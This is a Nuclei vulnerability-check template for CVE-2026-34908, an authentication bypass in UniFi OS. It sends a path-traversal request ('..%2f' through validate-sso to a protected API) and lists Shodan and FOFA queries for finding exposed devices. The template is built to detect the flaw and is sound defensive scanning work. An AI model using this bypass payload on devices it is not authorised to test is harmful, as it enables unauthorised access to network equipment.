UniFi OS - Authentication Bypass via Path Traversal (..%2f)

id: CVE-2026-34908

info:
  name: UniFi OS - Authentication Bypass via Path Traversal (..%2f)
  author: Boreas37
  severity: critical
  description: |
    UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.
  impact: |
    Attackers can make unauthorized changes to the system, potentially compromising device integrity and security.
  remediation: |
    Update to the latest version of UniFi OS.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908
    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34908
    epss-score: 0.88293
    epss-percentile: 0.99768
    cwe-id: CWE-284
  metadata:
    max-request: 3
    verified: true
    shodan-query: 'http.title:"UniFi OS"'
    fofa-query: 'title="UniFi OS"'
  tags: cve,cve2026,unifi,ubiquiti,auth-bypass,traversal,kev,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains_any(to_lower(body), 'unifi', 'ubiquiti', 'ubnt')"
        internal: true

  - raw:
      - |
        GET /proxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 401 || status_code == 403"
        internal: true

  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'pkg_name required', 'CODE_SYSTEM_ERROR')"
        condition: and
# digest: 490a0046304402203f9f6d1a7f6f264eb50382776b2b1c1e8b38cac15aa4c64f43574ca655acad6a0220713c1292df1504ca2ab71aad32ef6deafa94095880fd09542c6e4966825e1807:922c64590222798bb761d5b6d8e72950